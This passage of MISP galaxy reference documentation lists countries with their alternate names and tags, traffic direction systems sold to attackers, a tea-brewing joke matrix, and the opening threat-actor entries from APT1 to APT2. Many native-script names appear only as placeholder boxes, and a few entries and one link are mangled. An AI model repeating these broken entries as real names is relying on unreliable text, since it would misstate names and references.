North Macedonia is also known as:

- Republic of North Macedonia
- Република Северна Македонија
- Republika e Maqedonisë së Veriut

Madagascar

The tag is: *misp-galaxy:target-information="Madagascar"*

Madagascar is also known as:

- Madagasikara
- Republic of Madagascar
- Repoblikan’i Madagasikara
- République de Madagascar

- Malagasy Republic

Malawi

The tag is: *misp-galaxy:target-information="Malawi"*

Malawi is also known as:

- Republic of Malawi
- Dziko la Malaŵi
- Charu cha Malaŵi

Malaysia

The tag is: *misp-galaxy:target-information="Malaysia"*

Maldives

The tag is: *misp-galaxy:target-information="Maldives"*

Maldives is also known as:

- □□□□□□□□□□□□
- Dhivehi Raajje
- Republic of Maldives
- □□□□□□□□□□□□□□ □□□□□□□□□□□□
- Dhivehi Raajjeyge Jumhooriyyaa

Mali

The tag is: *misp-galaxy:target-information="Mali"*

Mali is also known as:

- Republic of Mali
- Renndaandi Maali
- République du Mali
- Mali ka Fasojamana

Malta

The tag is: *misp-galaxy:target-information="Malta"*

Malta is also known as:

- Republic of Malta
- Repubblika ta' Malta

Marshall Islands

The tag is: *misp-galaxy:target-information="Marshall Islands"*

Marshall Islands is also known as:

- Republic of the Marshall Islands
- Aolepān Aorōkin M□ajeḷ

Mauritania

The tag is: *misp-galaxy:target-information="Mauritania"*

Mauritania is also known as:

- □□□□□□□□□□
- Mūrītānyā
- Mauritanie
- Islamic Republic of Mauritania
- □□□□□□□□□□ □□□□□□□□□□ □□□□□□□□□□□□
- al-Jumhūrīyah al-Islāmīyah al-Mūrītānīyah
- République islamique de Mauritanie

Mauritius

The tag is: *misp-galaxy:target-information="Mauritius"*

Mauritius is also known as:

- Maurice
- Moris
- Republic of Mauritius
- République de Maurice
- Repiblik Moris

Mayotte

The tag is: *misp-galaxy:target-information="Mayotte"*

Mayotte is also known as:

- Maore
- Mahori
- Department of Mayotte
- Département de Mayotte

Mexico

The tag is: *misp-galaxy:target-information="Mexico"*

Mexico is also known as:

- México
- Mēxihco
- United Mexican States
- Estados Unidos Mexicanos

Micronesia

The tag is: *misp-galaxy:target-information="Micronesia"*

Micronesia is also known as:

- FSM
- Federated States of Micronesia

Moldova

The tag is: *misp-galaxy:target-information="Moldova"*

Moldova is also known as:

- Republic of Moldova
- Republica Moldova

Monaco

The tag is: *misp-galaxy:target-information="Monaco"*

Monaco is also known as:

- Principality of Monaco
- Principauté de Monaco
- Principatu de Mùnegu

Mongolia

The tag is: *misp-galaxy:target-information="Mongolia"*

Mongolia is also known as:

- Монгол Улс
- Mongol Uls

Montenegro

The tag is: *misp-galaxy:target-information="Montenegro"*

Montenegro is also known as:

- Црна Гора
- Crna Gora

Montserrat

The tag is: *misp-galaxy:target-information="Montserrat"*

Morocco

The tag is: *misp-galaxy:target-information="Morocco"*

Morocco is also known as:

- □□□□□□ˤ
- al-maġhrib
- □□□□□□
- lme□rib
- Maroc
- Kingdom of Morocco
- □□□□□□□ □□□□□□□□
- al-mamlakah al-maghribiyah
- □□□□□□□ □ □□□□□□
- tageldit n lma□rib
- Royaume du Maroc

Mozambique

The tag is: *misp-galaxy:target-information="Mozambique"*

Mozambique is also known as:

- Republic of Mozambique
- Moçambique
- Mozambiki
- Msumbiji
- Muzambhiki
- República de Moçambique
- Dziko la Mozambiki
- Jamhuri ya Msumbiji

Myanmar

The tag is: *misp-galaxy:target-information="Myanmar"*

Myanmar is also known as:

- □□□□□□
- Burma
- Republic of the Union of Myanmar
- □□□□□□□□□□□ □□□□□ □□□□□□□□□□□□□□□□□□
- Pyidaunzu Thanmăda Myăma Nainngandaw

Namibia

The tag is: *misp-galaxy:target-information="Namibia"*

Namibia is also known as:

- Republic of Namibia
- Republiek van Namibië
- Republik Namibia
- Namibiab Republiki dib
- Republika yaNamibia
- Orepublika yaNamibia
- Republika zaNamibia
- Rephaboliki ya Namibia
- Namibia ye Lukuluhile

Nauru

The tag is: *misp-galaxy:target-information="Nauru"*

Nauru is also known as:

- Naoero
- Republic of Nauru
- Repubrikin Naoero
- Pleasant Island

Nepal

The tag is: *misp-galaxy:target-information="Nepal"*

Nepal is also known as:

- □□□□□
- Federal Democratic Republic of Nepal
- □□□□□□ □□□□□□□□□□□□ □□□□□□□□ □□□□□
- Sa□ghīya Lokatāntrik Ga□atantra Nepāl

Netherlands

The tag is: *misp-galaxy:target-information="Netherlands"*

Netherlands is also known as:

- Nederland
- Holland

Netherlands Antilles

The tag is: *misp-galaxy:target-information="Netherlands Antilles"*

Netherlands Antilles is also known as:

- Nederlandse Antillen
- Antia Hulandes

New Caledonia

The tag is: *misp-galaxy:target-information="New Caledonia"*

New Caledonia is also known as:

- Nouvelle-Calédonie

New Zealand

The tag is: *misp-galaxy:target-information="New Zealand"*

New Zealand is also known as:

- Aotearoa

Nicaragua

The tag is: *misp-galaxy:target-information="Nicaragua"*

Nicaragua is also known as:

- Republic of Nicaragua
- República de Nicaragua

Niger

The tag is: *misp-galaxy:target-information="Niger"*

Niger is also known as:

- The Niger
- Republic of the Niger
- République du Niger

Nigeria

The tag is: *misp-galaxy:target-information="Nigeria"*

Nigeria is also known as:

- Federal Republic of Nigeria
- Jamhuriyar Taraiyar Nijeriya
- Ọ̀hàńjíkọ̀ Ọ̀hànézè Naìjíríyà
- Orílẹ̀-èdè Olómìniira Àpapọ̀ Nàìjíríà

Niue

The tag is: *misp-galaxy:target-information="Niue"*

Niue is also known as:

- Niuē

North Korea

The tag is: *misp-galaxy:target-information="North Korea"*

North Korea is also known as:

- □□
- Chosŏ
- □□□
- Pukchosŏn
- Democratic People’s Republic of Korea
- DPRK
- DPR Korea
- □□□□□□□□□□□
- Chosŏn Minjujuŭi Inmin Konghwaguk

Northern Mariana Islands

The tag is: *misp-galaxy:target-information="Northern Mariana Islands"*

Northern Mariana Islands is also known as:

- Commonwealth of the Northern Mariana Islands
- Sankattan Siha Na Islas Mariånas
- Commonwealth Téél Falúw kka Efáng llól Marianas

Norway

The tag is: *misp-galaxy:target-information="Norway"*

Norway is also known as:

- Norge
- Noreg
- Norga
- Nöörje
- Vuodna),
- Kingdom of Norway
- Kongeriket Norge
- Kongeriket Noreg

- Norgga gonagasriika
- Nøørjen gånkarijhke
- Vuona gånågisrijkka

Oman

The tag is: *misp-galaxy:target-information="Oman"*

Oman is also known as:

- □□□□
- □umān
- Sultanate of Oman
- □□□□□ □□□□□
- Sal□anat □Umān

Pakistan

The tag is: *misp-galaxy:target-information="Pakistan"*

Pakistan is also known as:

- Islamic Republic of Pakistan
- □□□□□□□ □□□□□□□ □□□□□□□□
- Islāmī Jumhūriyah Pākistān

Palau

The tag is: *misp-galaxy:target-information="Palau"*

Palau is also known as:

- Belau
- Palaos
- Pelew
- Republic of Palau
- Beluu er a Belau
- □□□□□□

Palestine

The tag is: *misp-galaxy:target-information="Palestine"*

Palestine is also known as:

- □□□□□□
- Filas□īn
- State of Palestine
- □□□□ □□□□□□
- Dawlat Filas□īn
- Palestine pound
- □□□□ □□□□□□□
- □□□□ □□□□□□□□ □□□

Panama

The tag is: *misp-galaxy:target-information="Panama"*

Panama is also known as:

- Panamá
- Republic of Panama
- República de Panamá

Papua New Guinea

The tag is: *misp-galaxy:target-information="Papua New Guinea"*

Papua New Guinea is also known as:

- Papua Niugini
- Papua Niu Gini
- Independent State of Papua New Guinea
- Independen Stet bilong Papua Niugini
- Independen Stet bilong Papua Niu Gini

Paraguay

The tag is: *misp-galaxy:target-information="Paraguay"*

Paraguay is also known as:

- Paraguái
- Republic of Paraguay
- República del Paraguay

- Tetã Paraguái

Peru

The tag is: *misp-galaxy:target-information="Peru"*

Peru is also known as:

- Perú
- Piruw Republika
- Piruw Suyu
- Republic of Peru
- República del Perú

Philippines

The tag is: *misp-galaxy:target-information="Philippines"*

Philippines is also known as:

- Pilipinas
- Filipinas
- Republic of the Philippines
- Republika ng Pilipinas

Pitcairn

The tag is: *misp-galaxy:target-information="Pitcairn"*

Pitcairn is also known as:

- Pitkern Ailen
- Pitcairn, Henderson, Ducie and Oeno Islands
- Pitcairn Islands

Poland

The tag is: *misp-galaxy:target-information="Poland"*

Poland is also known as:

- Polska
- Republic of Poland
- Rzeczpospolita Polska

Portugal

The tag is: *misp-galaxy:target-information="Portugal"*

Portugal is also known as:

- Portuguese Republic
- República Portuguesa

Puerto Rico

The tag is: *misp-galaxy:target-information="Puerto Rico"*

Puerto Rico is also known as:

- Puerto Rico
- Porto Rico

Qatar

The tag is: *misp-galaxy:target-information="Qatar"*

Qatar is also known as:

- □□□
- Qa□ar
- State of Qatar
- □□□□ □□□

Republic of the Congo

The tag is: *misp-galaxy:target-information="Republic of the Congo"*

Republic of the Congo is also known as:

- République du Congo
- Repubilika ya Kôngo
- Republíki ya Kongó
- Congo-Brazzaville
- Congo Republic
- RotC
- Congo

Reunion

The tag is: *misp-galaxy:target-information="Reunion"*

Reunion is also known as:

- La Réunion
- Île Bourbon

Romania

The tag is: *misp-galaxy:target-information="Romania"*

Romania is also known as:

- România

Russia

The tag is: *misp-galaxy:target-information="Russia"*

Russia is also known as:

- Росси́я
- Rossiya
- Russian Federation
- Российская Федерация
- Rossiyskaya Federatsiya

Rwanda

The tag is: *misp-galaxy:target-information="Rwanda"*

Rwanda is also known as:

- u Rwanda
- Republic of Rwanda
- Repubulika y'u Rwanda
- République du Rwanda
- Jamhuri ya Rwanda

Saint Barthelemy

The tag is: *misp-galaxy:target-information="Saint Barthelemy"*

Saint Barthelemy is also known as:

- Saint-Barthélemy
- Territorial Collectivity of Saint-Barthélemy
- Collectivité territoriale de Saint-Barthélemy
- Collectivity of Saint-Barthélemy
- Collectivité de Saint-Barthélemy

Saint Helena

The tag is: *misp-galaxy:target-information="Saint Helena"*

Saint Helena is also known as:

- Saint Helena, Ascension and Tristan da Cunha

Saint Kitts and Nevis

The tag is: *misp-galaxy:target-information="Saint Kitts and Nevis"*

Saint Kitts and Nevis is also known as:

- Federation of Saint Christopher and Nevis

Saint Lucia

The tag is: *misp-galaxy:target-information="Saint Lucia"*

Saint Lucia is also known as:

- Sainte-Lucie

Saint Martin

The tag is: *misp-galaxy:target-information="Saint Martin"*

Saint Martin is also known as:

- Saint-Martin
- Collectivity of Saint Martin
- Collectivité de Saint-Martin

Saint Pierre and Miquelon

The tag is: *misp-galaxy:target-information="Saint Pierre and Miquelon"*

Saint Pierre and Miquelon is also known as:

- Saint-Pierre-et-Miquelon
- Overseas Collectivity of Saint Pierre and Miquelon
- Collectivité d’outre-mer de Saint-Pierre-et-Miquelon

Saint Vincent and the Grenadines

The tag is: *misp-galaxy:target-information="Saint Vincent and the Grenadines"*

Samoa

The tag is: *misp-galaxy:target-information="Samoa"*

Samoa is also known as:

- Independent State of Samoa
- Malo Sa□oloto Tuto□atasi o Sāmoa
- Western Samoa

San Marino

The tag is: *misp-galaxy:target-information="San Marino"*

San Marino is also known as:

- Republic of San Marino
- Repubblica di San Marino
- Most Serene Republic of San Marino
- Serenissima Repubblica di San Marino

Sao Tome and Principe

The tag is: *misp-galaxy:target-information="Sao Tome and Principe"*

Sao Tome and Principe is also known as:

- Democratic Republic of São Tomé and Príncipe
- República Democrática de São Tomé e Príncipe

Saudi Arabia

The tag is: *misp-galaxy:target-information="Saudi Arabia"*

Saudi Arabia is also known as:

- Kingdom of Saudi Arabia
- □□□□□□□ □□□□□□□ □□□□□□□□
- al-Mamlakah al-□Arabīyah as-Sa□ūdīyah

Senegal

The tag is: *misp-galaxy:target-information="Senegal"*

Senegal is also known as:

- Sénégal
- Republic of Senegal
- Réewum Senegaal
- Renndaandi Senegal
- République du Sénégal

Serbia

The tag is: *misp-galaxy:target-information="Serbia"*

Serbia is also known as:

- Србија
- Srbija
- Republic of Serbia
- Република Србија
- Republika Srbija

Seychelles

The tag is: *misp-galaxy:target-information="Seychelles"*

Seychelles is also known as:

- Republic of Seychelles
- République des Seychelles
- Repiblik Sesel

Sierra Leone

The tag is: *misp-galaxy:target-information="Sierra Leone"*

Sierra Leone is also known as:

- Republic of Sierra Leone
- Salone

Singapore

The tag is: *misp-galaxy:target-information="Singapore"*

Singapore is also known as:

- Republic of Singapore

Sint Maarten

The tag is: *misp-galaxy:target-information="Sint Maarten"*

Slovakia

The tag is: *misp-galaxy:target-information="Slovakia"*

Slovakia is also known as:

- Slovensko
- Slovak Republic
- Slovenská republika

Slovenia

The tag is: *misp-galaxy:target-information="Slovenia"*

Slovenia is also known as:

- Slovenija
- Republic of Slovenia
- Republika Slovenija

Solomon Islands

The tag is: *misp-galaxy:target-information="Solomon Islands"*

Somalia

The tag is: *misp-galaxy:target-information="Somalia"*

Somalia is also known as:

- Soomaaliya

- □□□□□□□□
- a□-□ūmāl
- Federal Republic of Somalia
- Jamhuuriyadda Federaalka Soomaaliya
- □□□□□□□ □□□□□□□ □□□□□□□□□□
- Jumhūrīyat a□-□ūmāl al-Fīdirālīyah

South Africa

The tag is: *misp-galaxy:target-information="South Africa"*

South Africa is also known as:

- Republic of South Africa
- RSA
- iRiphabhuliki yaseNingizimu Afrika
- iRiphabliki yomZantsi Afrika
- Republiek van Suid-Afrika
- Repabliki ya Afrika-Borwa
- Rephaboliki ya Aforika Borwa
- Rephaboliki ya Afrika Borwa
- Riphabliki ya Afrika Dzonga
- iRiphabhulikhi yeNingizimu Afrika
- Riphabu□iki ya Afurika Tshipembe
- iRipha bliki yeSewula Afrika

South Korea

The tag is: *misp-galaxy:target-information="South Korea"*

South Korea is also known as:

- Republic of Korea
- □□□□
- Daehan Minguk

South Sudan

The tag is: *misp-galaxy:target-information="South Sudan"*

South Sudan is also known as:

- Republic of South Sudan

Spain

The tag is: *misp-galaxy:target-information="Spain"*

Spain is also known as:

- Kingdom of Spain
- Reino de España
- Regne d’Espanya
- Espainiako Erresuma
- Reiaume d’Espanha

Sri Lanka

The tag is: *misp-galaxy:target-information="Sri Lanka"*

Sri Lanka is also known as:

- □□|□□ □□□□Śrī La□kā; Tamil: □□□□□□
- Ila□kai
- Democratic Socialist Republic of Sri Lanka
- □□|□□ □□□□ □□|□□□□□□□□□□|□□□ □□□□□□□□□ □□□□,□
- Srī Lankā prajātāntrika samājavādī janarajaya
- □□□□□□ □□□□□□ □□□□□□ □□□□□□□□
- Ila□kai ja□anāyaka sōsalisa ku□iyarasu

Sudan

The tag is: *misp-galaxy:target-information="Sudan"*

Sudan is also known as:

- □□□□□□□|ˆ
- as-Sūdān
- Republic of the Sudan
- □□□□□□□ □□□□□□□
- Jumhūriyyat as-Sūdān

Suriname

The tag is: *misp-galaxy:target-information="Suriname"*

Suriname is also known as:

- Surinam
- Republic of Suriname
- Republiek Suriname

Svalbard and Jan Mayen

The tag is: *misp-galaxy:target-information="Svalbard and Jan Mayen"*

Svalbard and Jan Mayen is also known as:

- Svalbard og Jan Mayen

Swaziland

The tag is: *misp-galaxy:target-information="Swaziland"*

Swaziland is also known as:

- Eswatini
- eSwatini
- Kingdom of eSwatini
- Umbuso weSwatini

Sweden

The tag is: *misp-galaxy:target-information="Sweden"*

Sweden is also known as:

- Sverige
- Kingdom of Sweden
- Konungariket Sverige

Switzerland

The tag is: *misp-galaxy:target-information="Switzerland"*

Switzerland is also known as:

- Swiss Confederation

- Schweizerische Eidgenossenschaft
- Confédération suisse
- Confederazione Svizzera
- Confederaziun svizra
- Confoederatio Helvetica

Syria

The tag is: *misp-galaxy:target-information="Syria"*

Syria is also known as:

- □□□□□
- Sūriyā
- Syrian Arab Republic
- □□□□□□□□□ □□□□□□□ □□□□□□□
- al-Jumhūrīyah al-□Arabīyah as-Sūrīyah

Taiwan

The tag is: *misp-galaxy:target-information="Taiwan"*

Taiwan is also known as:

- Republic of China
- ROC
- □□□□

Tajikistan

The tag is: *misp-galaxy:target-information="Tajikistan"*

Tajikistan is also known as:

- Тоҷикистон
- Republic of Tajikistan
- Ҷумҳурии Тоҷикистон
- Jumhurii Tojikiston

Tanzania

The tag is: *misp-galaxy:target-information="Tanzania"*

Tanzania is also known as:

- United Republic of Tanzania
- Jamhuri ya Muungano wa Tanzania

Thailand

The tag is: *misp-galaxy:target-information="Thailand"*

Thailand is also known as:

- Siam
- Kingdom of Thailand
- □□□□□□□□□□□□□□
- Ratcha-anachak Thai

Togo

The tag is: *misp-galaxy:target-information="Togo"*

Togo is also known as:

- Togolese Republic
- République togolaise

Tokelau

The tag is: *misp-galaxy:target-information="Tokelau"*

Tokelau is also known as:

- Union Islands
- Tokelau Islands

Tonga

The tag is: *misp-galaxy:target-information="Tonga"*

Tonga is also known as:

- Kingdom of Tonga
- Pule□anga Fakatu□i □o Tonga

Trinidad and Tobago

The tag is: *misp-galaxy:target-information="Trinidad and Tobago"*

Trinidad and Tobago is also known as:

- Republic of Trinidad and Tobago

Tunisia

The tag is: *misp-galaxy:target-information="Tunisia"*

Tunisia is also known as:

- □□□□
- Republic of Tunisia
- □□□□□□□□□ □□□□□□□□
- al-Jumhūrīyah at-Tūnisīyah
- République tunisienne

Turkey

The tag is: *misp-galaxy:target-information="Turkey"*

Turkey is also known as:

- Türkiye
- Republic of Turkey
- Türkiye Cumhuriyeti

Turkmenistan

The tag is: *misp-galaxy:target-information="Turkmenistan"*

Turkmenistan is also known as:

- Türkmenistan

Turks and Caicos Islands

The tag is: *misp-galaxy:target-information="Turks and Caicos Islands"*

Turks and Caicos Islands is also known as:

- TCI

Tuvalu

The tag is: *misp-galaxy:target-information="Tuvalu"*

Tuvalu is also known as:

- Ellice Islands

U.S. Virgin Islands

The tag is: *misp-galaxy:target-information="U.S. Virgin Islands"*

U.S. Virgin Islands is also known as:

- United States Virgin Islands
- USVI
- American Virgin Islands
- Virgin Islands of the United States

Uganda

The tag is: *misp-galaxy:target-information="Uganda"*

Uganda is also known as:

- Republic of Uganda[
- Jamhuri ya Uganda

Ukraine

The tag is: *misp-galaxy:target-information="Ukraine"*

Ukraine is also known as:

- Україна
- Ukrayina

United Arab Emirates

The tag is: *misp-galaxy:target-information="United Arab Emirates"*

United Arab Emirates is also known as:

- UAE
- □□□□□□□□ □□□□□□□ □□□□□□□
- al-□Imārāt al-□Arabīyyah al-Mutta□idah

- Emirates
- □□□□□□□□□
- al-□Imārāt

United Kingdom

The tag is: *misp-galaxy:target-information="United Kingdom"*

United Kingdom is also known as:

- United Kingdom of Great Britain and Northern Ireland
- UK
- U.K.
- Britain

United States

The tag is: *misp-galaxy:target-information="United States"*

United States is also known as:

- United States of America
- USA
- U.S.
- US
- America

Uruguay

The tag is: *misp-galaxy:target-information="Uruguay"*

Uruguay is also known as:

- Oriental Republic of Uruguay
- República Oriental del Uruguay
- República Oriental do Uruguai

Uzbekistan

The tag is: *misp-galaxy:target-information="Uzbekistan"*

Uzbekistan is also known as:

- O’zbekiston

- Ўзбекистон
- Republic of Uzbekistan
- O’zbekiston Respublikasi
- Ўзбекистон Республикаси

Vanuatu

The tag is: *misp-galaxy:target-information="Vanuatu"*

Vanuatu is also known as:

- Republic of Vanuatu
- Ripablik blong Vanuatu
- République de Vanuatu

Vatican

The tag is: *misp-galaxy:target-information="Vatican"*

Vatican is also known as:

- Vatican City
- Vatican City State
- Status Civitatis Vaticanae
- Stato della Città del Vaticano

Venezuela

The tag is: *misp-galaxy:target-information="Venezuela"*

Venezuela is also known as:

- Bolivarian Republic of Venezuela
- República Bolivariana de Venezuela

Vietnam

The tag is: *misp-galaxy:target-information="Vietnam"*

Vietnam is also known as:

- Việt Nam
- Socialist Republic of Vietnam
- Cộng hòa xã hội chủ nghĩa Việt Nam

Wallis and Futuna

The tag is: *misp-galaxy:target-information="Wallis and Futuna"*

Wallis and Futuna is also known as:

- Territory of the Wallis and Futuna Islands
- Wallis-et-Futuna
- Territoire des îles Wallis-et-Futuna
- Uvea mo Futuna
- Telituale o Uvea mo Futuna

Western Sahara

The tag is: *misp-galaxy:target-information="Western Sahara"*

Western Sahara is also known as:

- □□□□□□□ □□□□□□□
- a□-□a□rā' al-Gharbīyah
- Tane□roft Tutrimt
- Sahara Occidental

Yemen

The tag is: *misp-galaxy:target-information="Yemen"*

Yemen is also known as:

- □□□□□□□□□
- al-Yaman
- Republic of Yemen
- □□□□□□□□□□□□□□□□ □□□□□□□□□□□□□□
- al-Jumhūrīyah al-Yamanīyah
- Yemeni Republic

Zambia

The tag is: *misp-galaxy:target-information="Zambia"*

Zambia is also known as:

- Republic of Zambia

Zimbabwe

The tag is: *misp-galaxy:target-information="Zimbabwe"*

Zimbabwe is also known as:

- Rhodesia
- Republic of Zimbabwe
- Nyika yeZimbabwe
- Ilizwe leZimbabwe
- Dziko la Zimbabwe
- Hango yeZimbabwe
- Zimbabwe Nù
- Inyika yeZimbabwe
- Tiko ra Zimbabwe
- Naha ya Zimbabwe
- Cisi ca Zimbabwe
- Shango a Zimbabwe

Sahrawi Arab Democratic Republic

The tag is: *misp-galaxy:target-information="Sahrawi Arab Democratic Republic"*

Sahrawi Arab Democratic Republic is also known as:

- Sahrawi Republic
- Western Sahara

TDS

TDS is a list of Traffic Direction System used by adversaries.

TDS is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Kafeine

Keitaro

Keitaro TDS is among the mostly used TDS in drive by infection chains

The tag is: *misp-galaxy:tds="Keitaro"*

Table 18099. Table References

Links
https://keitarotds.com/

BlackTDS

BlackTDS is mutualised TDS advertised underground since end of December 2017

The tag is: *misp-galaxy:tds="BlackTDS"*

Table 18100. Table References

Links
.com/[https://blacktds[.com/

ShadowTDS

ShadowTDS is advertised underground since 2016-02. It's in fact more like a Social Engineering kit focused on Android and embedding a TDS

The tag is: *misp-galaxy:tds="ShadowTDS"*

Sutra

Sutra TDS was dominant from 2012 till 2015

The tag is: *misp-galaxy:tds="Sutra"*

Table 18101. Table References

Links
http://kytoon.com/sutra-tds.html

SimpleTDS

SimpleTDS is a basic open source TDS

The tag is: *misp-galaxy:tds="SimpleTDS"*

SimpleTDS is also known as:

- Stds

Table 18102. Table References

Links

https://sourceforge.net/projects/simpletds/

zTDS

zTDS is an open source TDS

The tag is: *misp-galaxy:tds="zTDS"*

Table 18103. Table References

Links
http://ztds.info/doku.php

BossTDS

BossTDS

The tag is: *misp-galaxy:tds="BossTDS"*

Table 18104. Table References

Links
http://bosstds.com/

BlackHat TDS

BlackHat TDS is sold underground.

The tag is: *misp-galaxy:tds="BlackHat TDS"*

Table 18105. Table References

Links
http://malware.dontneedcoffee.com/2014/04/meet-blackhat-tds.html

Futuristic TDS

Futuristic TDS is the TDS component of BlackOS/CookieBomb/NorthTale Iframer

The tag is: *misp-galaxy:tds="Futuristic TDS"*

Orchid TDS

Orchid TDS was sold underground. Rare usage

The tag is: *misp-galaxy:tds="Orchid TDS"*

404 TDS

Proofpoint has tracked the 404 TDS since at least September 2022. Proofpoint is not aware if this is a service sold on underground forums, but it is likely a shared or sold tool due to its involvement in a variety of phishing and malware campaigns.

The tag is: *misp-galaxy:tds="404 TDS"*

Table 18106. Table References

Links
https://www.proofpoint.com/us/blog/threat-insight/screentime-sometimes-it-feels-like-somebodys-watching-me

Tea Matrix

Tea Matrix.

Tea Matrix is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Alexandre Dulaunoy

Multi infusion

Multi infusion is allow and recommended

The tag is: *misp-galaxy:tea-matrix="Multi infusion"*

Single infusion

Single infusion is recommended

The tag is: *misp-galaxy:tea-matrix="Single infusion"*

Water temp 90-95 degC

Water temperature 90-95 degC

The tag is: *misp-galaxy:tea-matrix="Water temp 90-95 degC"*

Water temp 80 degC

Water temperature 80 degC

The tag is: *misp-galaxy:tea-matrix="Water temp 80 degC"*

Brewing time 2-3 min

Brewing time 2-3 minutes

The tag is: *misp-galaxy:tea-matrix="Brewing time 2-3 min"*

Brewing time 3-4 min

Brewing time 3-4 minutes

The tag is: *misp-galaxy:tea-matrix="Brewing time 3-4 min"*

Milk in tea

Milk in tea

The tag is: *misp-galaxy:tea-matrix="Milk in tea"*

Threat Actor

Known or estimated adversary groups targeting organizations and employees. Adversary groups are regularly confused with their initial operation or campaign. threat-actor-classification meta can be used to clarify the understanding of the threat-actor if also considered as operation, campaign or activity group..

Threat Actor is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Alexandre Dulaunoy - Florian Roth - Thomas Schreck - Timo Steffens - Various

APT1

PLA Unit 61398 (Chinese: 61398□□, Pinyin: 61398 bùduì) is the Military Unit Cover Designator (MUCD)[1] of a People's Liberation Army advanced persistent threat unit that has been alleged to be a source of Chinese computer hacking attacks

The tag is: *misp-galaxy:threat-actor="APT1"*

APT1 is also known as:

- COMMENT PANDA
- PLA Unit 61398
- Comment Crew
- Byzantine Candor

- Group 3
- TG-8223
- Comment Group
- Brown Fox
- GIF89a
- ShadyRAT
- G0006

View relationships graph

APT1 has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="APT1 - G0006" with estimative-language:likelihood-probability="likely"

Table 18107. Table References

Links
https://en.wikipedia.org/wiki/PLA_Unit_61398
http://intelreport.mandiant.com/Mandiant_APT1_Report.pdf
https://www.cfr.org/interactive/cyber-operations/pla-unit-61398
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf
https://blog.trendmicro.com/trendlabs-security-intelligence/the-siesta-campaign-a-new-targeted-attack-awakens/
https://www.fireeye.com/blog/threat-research/2014/03/a-detailed-examination-of-the-siesta-campaign.html
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/operation-oceansalt-delivers-wave-after-wave/
https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf
https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=f1265df5-6e5e-4fcc-9828-d4ddbbafd3d7&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments
https://attack.mitre.org/groups/G0006/
https://www.nytimes.com/2014/05/20/us/us-to-charge-chinese-workers-with-cyberspying.html
https://www.mandiant.com/resources/insights/apt-groups
https://www.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf

Nitro

These attackers were the subject of an extensive report by Symantec in 2011, which termed the

attackers Nitro and stated: 'The goal of the attackers appears to be to collect intellectual property such as design documents, formulas, and manufacturing processes. In addition, the same attackers appear to have a lengthy operation history including attacks on other industries and organizations. Attacks on the chemical industry are merely their latest attack wave. As part of our investigations, we were also able to identify and contact one of the attackers to try and gain insights into the motivations behind these attacks.' Palo Alto Networks reported on continued activity by the attackers in 2014.

The tag is: *misp-galaxy:threat-actor="Nitro"*

Nitro is also known as:

- Covert Grove

Table 18108. Table References

Links
https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2011/the_nitro_attacks.pdf
https://unit42.paloaltonetworks.com/new-indicators-compromise-apt-group-nitro-uncovered/
https://blog.trendmicro.com/trendlabs-security-intelligence/the-significance-of-the-nitro-attacks/

Dust Storm

Threat actors behind the Operation Dust Storm have been active since at least 2010, the hackers targeted several organizations in Japan, South Korea, the US, Europe, and other Asian countries.

The tag is: *misp-galaxy:threat-actor="Dust Storm"*

Dust Storm is also known as:

- G0031

View relationships graph

Dust Storm has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Dust Storm - G0031" with estimative-language:likelihood-probability="likely"

Table 18109. Table References

Links
https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf
https://web.archive.org/web/20140816135909/https://www.symantec.com/connect/blogs/inside-back-door-attack
https://attack.mitre.org/groups/G0031/

WET PANDA

The tag is: *misp-galaxy:threat-actor="WET PANDA"*

WET PANDA is also known as:

- Red Chimera

Table 18110. Table References

Links
http://go.crowdstrike.com/rs/281-OBQ-266/images/ReportGlobalThreatIntelligence.pdf

FOXY PANDA

Adversary group targeting telecommunication and technology organizations.

The tag is: *misp-galaxy:threat-actor="FOXY PANDA"*

Table 18111. Table References

Links
https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1492182276.pdf

PREDATOR PANDA

The tag is: *misp-galaxy:threat-actor="PREDATOR PANDA"*

Table 18112. Table References

Links
http://go.crowdstrike.com/rs/281-OBQ-266/images/ReportGlobalThreatIntelligence.pdf

UNION PANDA

The tag is: *misp-galaxy:threat-actor="UNION PANDA"*

Table 18113. Table References

Links
https://dokumen.tips/documents/detecting-and-responding-pandas-and-bears.html

SPICY PANDA

The tag is: *misp-galaxy:threat-actor="SPICY PANDA"*

Table 18114. Table References

Links

http://go.crowdstrike.com/rs/281-OBQ-266/images/ReportGlobalThreatIntelligence.pdf

ELOQUENT PANDA

The tag is: *misp-galaxy:threat-actor="ELOQUENT PANDA"*

Table 18115. Table References

Links
https://dokumen.tips/documents/detecting-and-responding-pandas-and-bears.html

DIZZY PANDA

The tag is: *misp-galaxy:threat-actor="DIZZY PANDA"*

DIZZY PANDA is also known as:

- LadyBoyle

Grayling

Grayling activity was first observed in early 2023, when a number of victims were identified with distinctive malicious DLL side-loading activity. Grayling appears to target organisations in Asia, however one unknown organisation in the United States was also targeted. Industries targeted include Biomedical, Government and Information Technology. Grayling use a variety of tools during their attacks, including well known tools such as Cobalt Strike and Havoc and also some others.

The tag is: *misp-galaxy:threat-actor="Grayling"*

Table 18116. Table References

Links
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/grayling-taiwan-cyber-attacks

APT2

Putter Panda were the subject of an extensive report by CrowdStrike, which stated: 'The CrowdStrike Intelligence team has been tracking this particular unit since2012, under the codename PUTTER PANDA, and has documented activity dating back to 2007. The report identifies Chen Ping, aka cpyy, and the primary location of Unit 61486.'

The tag is: *misp-galaxy:threat-actor="APT2"*

APT2 is also known as:

- PLA Unit 61486

- PUTTER PANDA
- MSUpdater
- 4HCrew
- SULPHUR
- SearchFire
- TG-6952
- G0024

View relationships graph

